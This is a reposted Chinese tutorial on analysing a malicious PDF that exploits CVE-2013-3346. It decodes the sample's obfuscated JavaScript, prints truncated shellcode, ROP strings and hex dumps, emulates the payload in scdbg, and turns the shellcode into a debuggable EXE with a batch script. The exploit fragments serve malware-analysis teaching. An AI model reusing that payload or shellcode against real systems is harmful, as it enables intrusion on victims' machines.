【转】http://www.freebuf.com/articles/web/152879.html
前言
在分析shellcode
时,静态分析或者使用scdbg
模拟分析都不够准确,如果转换成exe
文件那么就可以用debugger
或者IDA
分析,会方便很多。
样本分析
这里以CVE-2013-3346
的样本为例,使用peepdf
分析样本:
$ python peepdf.py -i -f ~/Downloads/sample.pdf File: sample.pdfMD5: 6776bda19a3a8ed4c2870c34279dbaa9SHA1: ad6a3564e125683a791ee98c5d1e66e1d9c6877dSize: 177511 bytesVersion: 1.1Binary: FalseLinearized: FalseEncrypted: FalseUpdates: 0Objects: 4Streams: 2Comments: 0Errors: 1Version 0:Catalog: 1Info: No Objects (4): [1, 2, 3, 10] Errors (1): [3] Streams (2): [10, 3] Encoded (0): [] Objects with JS code (1): [3] Suspicious elements: /AcroForm: [1] /OpenAction: [1] /XFA: [1] /JS: [2] /JavaScript: [2]
其中Objects with JS code (1): [3]
可知对象3是一段js
代码:
PPDF> object 3<< >>streamif(app.media.getPlayers().length >= 1) Q=~[];Q={___:++Q,$$$$:(![]+"")[Q],__$:++Q,$_$_:(![]+"")[Q],_$_:++Q,$_$$:({}+"")[Q],$$_$:(Q[Q]+"")[Q],_$$:++Q,$$$_:(!""+"")[Q],$__:++Q,$_$:++Q,$$__:({}+"")[Q],$$_:++Q,$$$:++Q,$___:++Q,$__$:++Q};Q.$_=(Q.$_=Q+"")[Q.$_$]+(Q._$=Q.$_[Q.__$])+(Q.$$=(Q.$+"")[Q.__$])+((!Q)+"")[Q._$$]+(Q.__=Q.$_[Q.$$_])+(Q.$=(!""+"")[Q.__$])+(Q._=(!""+"")[Q._$_])+Q.$_[Q.$_$]+Q.__+Q._$+Q.$;Q.$$=Q.$+(!""+"")[Q._$$]+Q.__+Q._+Q.$+Q.$$;Q.$=(Q.___)[Q.$_][Q.$_];Q.$(Q.$(Q.$$+"\""+"\\"+Q.__$+Q.$$_+Q.$$_+Q.$_$_+"\\"+Q.__$+Q.$$_+Q._$_+"\\"+Q.$__+Q.___+"\\"+Q.__$+Q.$$_+Q._$$+"\\"+Q.__$+Q.$_$+Q.___+Q.$$$_+(![]+"")[Q._$_]+(![]+"")[Q._$_]+Q.$$__+Q._$+Q.$$_$+Q.$$$_+"\\"+Q.$__+Q.___+"=\\"+Q.$__+Q.___+Q._+"\\"+Q.__$+Q.$_$+Q.$$_+Q.$$$_+"\\"+Q.__$+Q.$$_+Q._$$+Q.$$__+Q.$_$_+"\\"+Q.__$+Q.$$_+Q.___+Q.$$$_+"(\\\"%"+Q._+Q.___+Q. ...
这里要把从Q=~[]
开始的加密代码拷贝到文件中。
这里的代码是用jjencode
加密过的,使用peepdf
自带的解密工具可以还原出js
代码:
PPDF> js_jjdecode file /Users/seviezhou/Downloads/sample.js $> jsdecode PPDF> js_analyse variable jsdecode $> shellcode PPDF> show jsdecode var shellcode = unescape("%u\00E8%u\0000%u\5D00%u\ED83%u\E905%u\008B%u\0000%u\5052%u\D231%u\C031%u\F980%u\7501%u\6604%u\EBAD%u\AC01%u\003C%u\0D74%u\613C%u\0272%u\202C%u\CAC1%u\010D%u\EBC2%u\39E3%u... var executable = ""; var rop9 = ""; rop9 += unescape("%u\313d%u\4a82"); rop9 += unescape("%u\a713%u\4a82"); rop9 += unescape("%u\1f90%u\4a80"); ... ... PPDF> show shellcode e8 00 00 00 00 5d 83 ed 05 e9 8b 00 00 00 52 50 |.....]........RP| 31 d2 31 c0 80 f9 01 75 04 66 ad eb 01 ac 3c 00 |1.1....u.f....<.| 74 0d 3c 61 72 02 2c 20 c1 ca 0d 01 c2 eb e3 39 |t.<ar., .......9| da 58 5a c3 56 89 da b2 3c 31 c0 66 8b 02 01 d8 |.XZ.V...<1.f....| 8b 50 78 01 da 52 51 8b 4a 18 8b 42 20 01 d8 8b |.Px..RQ.J..B ...| 38 01 df 53 8b 1e 87 f7 51 31 c9 e8 ae ff ff ff |8..S....Q1......| 59 5b 87 f7 75 02 eb 08 83 c0 04 49 e3 22 eb df |Y[..u......I."..|8b 42 18 29 c8 89 c1 8b 42 24 01 d8 66 8b 0c 48 |.B.)....B$..f..H|8b 42 1c 01 d8 c1 e1 02 01 c8 8b 00 01 d8 89 06 |.B..............|59 5a 83 c6 04 e2 ae 5e c3 31 d2 64 8b 52 30 8b |YZ.....^.1.d.R0.| ...
js
代码主要是shellcode
的布置和堆喷射还有rop
的构造,这里的shellcode
利用CVE-2013-5065
绕过了沙箱。将shellcode
提取出来使用scdbg
分析得到如下结果:
...401215 SetFilePointer(hFile=1a4, dist=0, 0, FILE_BEGIN) = 0401221 GetFileSize(1a4, 0) = ffffffff401215 SetFilePointer(hFile=1a8, dist=0, 0, FILE_BEGIN) = 0401221 GetFileSize(1a8, 0) = ffffffff401215 SetFilePointer(hFile=1ac, dist=0, 0, FILE_BEGIN) = 0401221 GetFileSize(1ac, 0) = ffffffff401215 SetFilePointer(hFile=1b0, dist=0, 0, FILE_BEGIN) = 0401221 GetFileSize(1b0, 0) = ffffffff401215 SetFilePointer(hFile=1b4, dist=0, 0, FILE_BEGIN) = 0401221 GetFileSize(1b4, 0) = ffffffff401221 83F8FF cmp eax,0xffffffff step: 1647274 foffset: 221eax=ffffffff ecx=0 edx=12fdbc ebx=1b4 esp=12fdb0 ebp=2000 esi=12fdc8 edi=12fdb4 EFL 44 P Z dbg> Disassemble address (default eip): (hex/reg) 0x401221401221Number of instructions to dump (max 100): (int/reg) 100100401221 83F8FF cmp eax,0xffffffff401224 74E3 jz 0x401209 ^^401226 3D00100000 cmp eax,0x100040122b 7CDC jl 0x401209 ^^40122d 89C5 mov ebp,eax40122f 89E0 mov eax,esp401231 31C9 xor ecx,ecx401233 51 push ecx401234 50 push eax401235 6A04 push byte 0x4401237 57 push edi401238 53 push ebx401239 FF5630 call [esi+0x30]40123c 813F25504446 cmp dword [edi],0x46445025401242 75C5 jnz 0x401209 ^^401244 83C408 add esp,0x8... dbg> Set eip (VA or file offset) : (hex/reg) 0x401244401244401244 83C408 add esp,0x8dbg>40125a VirtualAlloc(base=0 , sz=1ffc) = 731000401265 ReadFile(hFile=1b4, buf=731000, numBytes=1ffc) = 04012b0 GetTempPathA(len=c8, buf=12fcfc) = 254012be GetTempFileNameA(path=C:\Users\SEVIEZ~1\AppData\Local\Temp\, prefix=12fcf8, unique=0, buf=12f cfc) = 429E Path = C:\Users\SEVIEZ~1\AppData\Local\Temp\429E.tmp4012e0 CreateFileA(C:\Users\SEVIEZ~1\AppData\Local\Temp\429E.tmp) = 8SafeMalloc Failed/refused to allocate 0x0 bytes exiting...
一开始分析就会陷入一个死循环,然后尝试改变eip
得到了一些api
的调用。
转换shellcode为exe
还是看不出什么,这里我们把shellcode
转换成exe
文件来分析,首先我尝试了shellcode2exe.py
,可转换结果并不是一个合法的exe
文件,这里讲一个通用的方法,这里要用到yasm.exe
和golink.exe
,下载地址:
下载对应位数的yasm
和golink
,分别重命名为yasm.exe
和golink.exe
。
然后用winhex
等十六进制编辑器把shellcode
保存为shellcode.bin
:
$ hexdump shellcode.bin0000000 e8 00 00 00 00 5d 83 ed 05 e9 8b 00 00 00 52 500000010 31 d2 31 c0 80 f9 01 75 04 66 ad eb 01 ac 3c 000000020 74 0d 3c 61 72 02 2c 20 c1 ca 0d 01 c2 eb e3 390000030 da 58 5a c3 56 89 da b2 3c 31 c0 66 8b 02 01 d80000040 8b 50 78 01 da 52 51 8b 4a 18 8b 42 20 01 d8 8b ...
然后新建一个文件shellcode.asm
,内容如下:
$ cat shellcode.asm Global StartSECTION 'foo' write, execute,readStart: incbin "shellcode.bin"
最后把yasm.exe
、golink.exe
、shellcode.asm
、shellcode.bin
放在同一个目录下,以32位系统为例,依次执行如下命令:
yasm.exe -f win32 -o shellcode.obj shellcode.asmgolink /ni /entry Start shellcode.obj
最后可以得到shellcode.exe
:
C:\Users\seviezhou\Desktop>yasm.exe -f win32 -o shellcode.obj shellcode.asmC:\Users\seviezhou\Desktop>golink /ni /entry Start shellcode.objC:\Users\seviezhou\Desktop>dir shellcode.exe 驱动器 C 中的卷没有标签。 卷的序列号是 0A63-F3E0 C:\Users\seviezhou\Desktop 的目录2017/11/02 20:18 2,048 shellcode.exe 1 个文件 2,048 字节 0 个目录 49,720,483,840 可用字节
然后就可以放到debugger
中调试:
00401000 > $ E8 00000000 CALL shellcod.00401005 ; \shellcod.0040100500401005 $ 5D POP EBP00401006 . 83ED 05 SUB EBP,500401009 . E9 8B000000 JMP shellcod.004010990040100E /$ 52 PUSH EDX0040100F |. 50 PUSH EAX00401010 |. 31D2 XOR EDX,EDX00401012 |> 31C0 /XOR EAX,EAX
可以看到入口点确实是shellcode
的起始位置,单步跟随后可以在栈上找到程序使用的api
:
0012FF54 7685214F kernel32.ExitProcess0012FF58 76852FB6 kernel32.VirtualAlloc0012FF5C 7684A629 kernel32.DeviceIoControl0012FF60 7684CEE8 RETURN to kernel32.CreateFileA0012FF64 7684CAC4 kernel32.GetCurrentProcessId0012FF68 7685395C kernel32.LoadLibraryA0012FF6C 7688E5FD kernel32.WinExec0012FF70 76851400 kernel32.WriteFile0012FF74 7684CA7C kernel32.CloseHandle0012FF78 76866A65 kernel32.GetTempPathA0012FF7C 7686695F kernel32.GetTempFileNameA0012FF80 76840273 kernel32.GetFileSize0012FF84 768496FB kernel32.ReadFile0012FF88 7684DB36 kernel32.SetFilePointer
然后就可以分析shellcode
了,当然也可以放到IDA
中分析。
也可以把上述两条命令写成shellcode2exe.bat
文件:
@echo off @if "%1"=="" goto help @echo Global Start > shellcode.asm @echo SECTION 'foo' write, execute,read >> shellcode.asm @echo Start: >> shellcode.asm @echo incbin "%2" >> shellcode.asm @yasm.exe -f win%1 -o shellcode.obj shellcode.asm @golink /ni /entry Start shellcode.obj @dir shellcode.exe @goto exit@:help @echo Converts shellcode to exe @echo Required Arguments: @echo arg1 - architecture: 32 or 64 @echo arg2 - shellcode file name @echo current dir is %cd% @:exitecho.
运行结果:
C:\Users\seviezhou\Desktop>shellcode2exe.bat Converts shellcode to exe Required Arguments: arg1 - architecture: 32 or 64arg2 - shellcode file name current dir is C:\Users\seviezhou\DesktopC:\Users\seviezhou\Desktop>shellcode2exe.bat 32 shellcode.bin 驱动器 C 中的卷没有标签。 卷的序列号是 0A63-F3E0 C:\Users\seviezhou\Desktop 的目录2017/11/02 20:26 2,048 shellcode.exe 1 个文件 2,048 字节 0 个目录 49,720,455,168 可用字节
成功得到exe
文件。
总结
当分析shellcode
时,可以结合多种方法分析,静态或者动态,才能更好的分析代码的行为,这时能够转换成可执行文件分析就是很好的方法。